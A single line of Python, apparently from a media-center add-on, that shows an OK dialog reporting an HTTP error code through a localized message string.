platformtools.dialog_ok("plugin", config.get_localized_string(30051) % e.code)